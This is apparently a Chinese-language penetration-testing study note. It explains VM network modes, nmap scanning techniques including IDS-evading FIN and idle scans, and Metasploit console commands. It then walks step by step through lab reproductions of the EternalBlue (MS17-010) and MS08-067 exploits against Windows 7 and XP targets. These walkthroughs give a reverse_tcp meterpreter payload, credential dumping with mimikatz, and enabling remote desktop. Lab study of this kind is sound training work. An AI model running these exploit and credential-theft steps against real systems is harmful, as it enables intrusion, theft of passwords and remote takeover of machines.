1.熟悉网络配置
一般来说虚拟机有三种网络模式:
- NAT (网络地址转换模式)
- Bridged (桥接模式)
- Host-Only(主机模式)
nat模式:
虚拟系统会通过宿主机的网络来访问外网。而这里的宿主机相当于有两个网卡,一个是真实网卡,一个是虚拟网卡,真实网卡相当于链接了现实世界的真实路由器,而宿主机的虚拟网卡,相当于链接了一个可以认为是虚拟交换机(这个虚拟交换机同时链接了虚拟系统(linux)和宿主机)。
当虚拟网络想访问外网,就必须通过宿主机的IP地址,而外面看来也确实是宿主机的IP地址(实则是虚拟机访问的!!),完全看不到虚拟网络局域的内部形式,而这个时候linux和宿主机和虚拟交换机形成一个网段,宿主机和真实路由形成一个网段。
Bridged模式
桥接网络是指物理网卡和虚拟网卡通过VMnet0虚拟交换机进行桥接。
此时VMnet0虚拟交换机相当于一台现实网络中的交换机,虚拟机相当于一台物理主机。他可以访问这个局域网内的所有的主机,但是需要手动来配置IP地址,子网掩码,并且他是和真实主机在同一个网段(nat是两个网段),这个模式里,虚拟机和宿主机可以互相ping通。
Host-Only模式
在Host-Only模式下,虚拟网络是一个全封闭的网络,它唯一能够访问的就是主机。
其实Host-Only网络和NAT网络很相似,不同的地方就是Host-Only网络没有NAT服务,所以虚拟网络不能连接到Internet。主机和虚拟机之间的通信是通过VMware Network Adepter VMnet1虚拟网卡来实现的。
Host-Only的宗旨就是建立一个与外界隔绝的内部网络,来提高内网的安全性。这个功能或许对普通用户来说没有多大意义,但大型服务商会常常利用这个功能。如果你想为VMnet1网段提供路由功能,那就需要使用RRAS,而不能使用XP或2000的ICS,因为ICS会把内网的IP地址改为192.168.0.1,但虚拟机是不会给VMnet1虚拟网卡分配这个地址的,那么主机和虚拟机之间就不能通信了。
2.nmap
2.1简要
nmap是用来探测计算机网络上的主机和服务的一种安全扫描器。为了绘制网络拓扑图,Nmap的发送特制的数据包到目标主机,然后对返回数据包进行分析。Nmap是一款枚举和测试网络的强大工具。
2.2功能
1.主机探测
2.端口扫描
3.版本检测
4.支持探测脚本的编写
2.3实例
发现主机
1.扫描指定IP地址(ping 扫描)
nmap -sn 192.168.0.102
2.扫描指定IP地址
3.提取文件中的IP地址
4.扫描整个网段/子网
(ip地址一共是32位,/24就表示他的网络号是24位。也就是说共有 2^(32-24)-2 个主机,共254个ip。因为主机为全0和1的保留不用,所以需要减2)
端口发现
1.扫描主机的指定端口
2.使用TCP的SYN进行扫描(半开放扫描,只发送SYN,如果服务器回复SYN,ACK。证明端口开放,不建立完整连接)
3.使用TCP进行扫描(默认nmap扫描方式)
4.使用UDP进行扫描(扫描UDP开放的端口)
5.使用FIN扫描
有的时候TCP SYN不是最佳的扫描默认,目标主机可能有IDS/IPS系统的存在,防火墙可能过滤掉SYN数据包。而发送一个
FIN标志的数据包不需要完成TCP的握手。
6.idle扫描(需要指定另外一台主机IP地址,并且目标主机的IPID是递增的)
idlescan是一种理想的扫描方式,它使用另一台网络上的主机替你发送数据包,从而隐藏自己。
nmap -sI 192.168.3.227 192.168.3.74
获得服务版本详细信息
nmap -sV 192.168.0.102
确定主机操作系统
nmap -O 192.168.0.102
3.msfconsole
msfconsole 简称 msf 是一款常用的安全测试工具,包含了常见的漏洞利用模块和生成各种木马,其提供了一个一体化的集中控制台,通过msfconsole,你可以访问和使用所有的metaslopit插件,payload,利用模块,post模块等等。msfconsole还有第三方程序的接口,比如nmap、sqlmap等,可以直接在msfconsole里面使用。
kali可直接在命令使用:
msfconsole
Msfconsole的系统文件和用户文件位于/usr/share/metasploit-framework/msfconsole
目录下
3.1基础命令概览:
back(返回): 从目前的情况下向后移动
banner:Display an awesome metasploit banner
cd: 改变当前的工作目录
color: 切换颜色
connect(远程连接): 与主机通信
edit(编辑): 编辑与$ VISUAL或$ EDITOR当前模块的
exit(退出命令行): 退出控制台
get (获取变量): 获取特定上下文变量的值
getg (全局获取变量): 获取一个全局变量的值
go_pro : 启动Metasploit的网页图形用户界面
grep: grep的另一个命令的输出
help(帮助) : 帮助菜单
info(获取模块信息): 关于一个或多个模块显示信息
irb: 进入irb脚本模式
jobs:显示和管理职位
kill(结束进程): 结束一个进程
load(加载): 加载一个框架插件
loadpath : 搜索和负载从一个路径模块
makerc: 保存自开始进入到一个文件中的命令
popm: 弹出最新的模块从堆栈中并使其活跃
previous : 将以前加载模块作为当前模块
pushm : 推主动或模块列表在模块栈
quit (退出控制台): 退出控制台
reload_all Reloads : 从所有定义的模块路径的所有模块
rename_job : 重命名工作
resource : 运行存储命令在文件
route: 通过会话路由流量
save: 将数据存储主动
search(搜索exp等模块关键字): 搜索模块的名称和说明
sessions(会话功能): 转储会话列表和显示有关会话的信息
set(设置参数): 设置一个特定的上下文变量的值
setg(全局设置参数): 设置一个全局变量的值
show(展示参数模块): 给定类型的显示模块或所有模块
sleep : 什么都不做对的指定秒数
spool : 写控制台输出到一个文件以及屏幕
threads : 查看和操作后台线程
unload(卸载某个插件): 卸载一个框架插件
unset(删除某个设置参数): 取消设置一个或多个特定的上下文变量
unsetg(取消全局某个设置参数): 取消设置一个或多个全局变量的
use(使用某个模块): 选择按名称模块
version(查看版本信息): 显示的框架和控制台库版本号
输入命令show,看到提示,那么根据提示我们就知道msf包含的模块:
3.2实例
show
输入命令show,看到提示,那么根据提示我们就知道msf包含的模块:
show encoders:
使用方式-e 编码类型即可,这样可以根据不同需求得到我们需要的shellcode。
show nops
除了编码模块,还有滑板指令模块,通过show nops展示:
滑板指令不会对程序运行状态有实质影响或者空操作之类的,就像0x90。滑板指令有多种作用,在漏洞利用中应用广泛:
• 填充,填充多余部分
• 延迟,nop指令会产生一定的延迟效果
• 等待,等待缓冲区清空,总线恢复
• 清除,清除上一个算数逻辑指令设置的flag位
• 破解,将部分关键指令用nop填充
使用方式use +即可
show auxiliary
show auxiliary辅助模块,是一个功能特别多的模块,这里只简单介绍,他负责执行信息收集,扫描,嗅探,指纹识别,口令猜测和Dos攻击等功能:
show post
show post,这是一个后渗透模块,里面包含了后渗透会用到的功能,最多就是信息收集:
banner
这个主要是查看metasploit的版本信息,利用模块数量、payload数量等等。
Search参数
当你使用msfconsole的时候,你会用到各种漏洞模块、各种插件等等。所以search命令就很重要。我会详细的解释一下这个命令。
当你输入help search的时候就会列出search命令的一些选项。
help search
(1)查 mysql
search name:mysql
(2)查 joomla
search joomla
(3)ms08-067查找漏洞
search ms08-067
4.永恒之蓝复现(Eternal Blue)
永恒之蓝是在 Windows 的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
4.1复现环境
kali使用ifconfig,win7使用ipconfig查看ip地址
攻击机:kali (192.168.75.128)
靶机:Windows 7 (192.168.75.129)
4.2复现过程
1.先看能不能ping通
2.使用nmap对靶机端口服务进行扫描,检测目标主机是否存活,以及445端口开放情况
nmap -sV 192.168.75.129
可以看到:目标主机存活(host is up),且445端口开放
3.打开Metasploit
msfconsole
4.输入永恒之蓝漏洞编号
永恒之蓝漏洞编号为ms17-010
search ms17-010
可以看到返回了多条可利用的漏洞模块信息,永恒之蓝用到的是第3个和第0个。第3个是用来进行扫描的,扫描在这个网段里面哪一个主机是有这个漏洞的(scanner扫描器),第0个是永恒之蓝的攻击模块。
5.先使用第3个扫描器进行辅助扫描测试。
use auxiliary/scanner/smb/smb_ms17_010
6.查看该漏洞模块所需的参数情况
show options
结果展示:其中required下方显示的值为yes的,代表是必须要设置的项;显示的值为no的,代表是不必须要设置的项;
我们重点关注以下2个参数配置,哪个参数有问题就设置哪个:
RHOST(被攻击的目标地址-靶机地址);
RPORT(被攻击目标地址的端口-保证445端口开放)
7、设置靶机地址
由上图可知:只有RHOST未设置,其他参数均以自动获取,没有问题。所以我们只需设置靶机位置即可
set RHOST 192.168.75.129
8、进行检验
show options
9、发起攻击
run
显示“Host is likely VULNERABLE to MS17-010”-该主机很容易受到ms17-010的攻击,可以断定靶机存在永恒之蓝漏洞。
10、再次查看永恒之蓝漏洞
search ms17-010
11、进入0模块,进行攻击
use exploit/windows/smb/ms17_010_eternalblue
12、查看参数配置情况
show options
重点关注以下5个参数设置,哪个有问题就设置哪个
1.Payload(攻击载体) ;
2.RHOST(被攻击的目标地址-靶机ip);
3.RPORT(被攻击目标地址的端口-保证445开放);
4.LHOST(发起攻击的地址-kali的ip);
5.LPORT(发起攻击的端口-默认即可);
发现仅RHOST为空待设置,其它(payload/RPORT/LHOST/LPORT)均已获取且正确
13、设置RHOST
set RHOST 192.168.75.129
14、再次检查
show options
15,发起攻击
run
显示meterpreter >表明攻击成功 两个电脑已经建立了一个会话连接
Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如获取屏幕、上传/下载文件、创建持久后门等。
16,进入靶机shell
shell
若有乱码,输入chcp 65001即可
这个时候我们已经成功了,可以远程命令执行,变成了windows的控制台的模式。
查看本地用户
net user
永恒之蓝复现完毕
5.ms08-067漏洞复现
MicrosoftWindows是美国微软(Microsoft)公司发布的一系列操作系统。Windows的Server服务在处理特制RPC请求时存在缓冲区溢出漏洞。远程攻击者可以通过发送恶意的RPC请求触发这个溢出,导致完全入侵用户系统,以SYSTEM权限执行任意指令。对于Windows2000、XP和Server2003,无需认证便可以利用这个漏洞;对于WindowsVista和Server2008,可能需要进行认证。
5.1复现环境
未打补丁的xp:192.168.75.130
kali:192.168.75.128
两台主机之间可以通信
5.2复现过程
1、扫描目标靶机,445端口是开放的
2、启动msfconsole,搜索漏洞
search ms08_067
3.这里只有一个可用的exploit
模块,use
它。
4.show targets
查看一下,该模块都适用于哪些windows版本。
5.本次实验的主机是xp3 simplified。
这里将目标主机的类型设置。
set target 34
6. 看一下需要配置哪些参数show options
7.设置一下rhosts
8.查看一下有哪些可用的payload
;show payloads
这里选择61号。set pyaload windows/meterpreter/reverse_tcp
9.再看一下payload
需要配置哪些参数show options
看到别人wp说需要配置lohost
和lport
;配置监听地址和监听端口。监听端口有默认值,这里就只配置监听地址为kali的IP。
但这里都已经配置好了
10.run
成功了
可以开启一个内渗透模块:load mimikatz,
用creds_all查看用户名和密码
开启远程桌面:run post/windows/manage/enable_rdp
复现完毕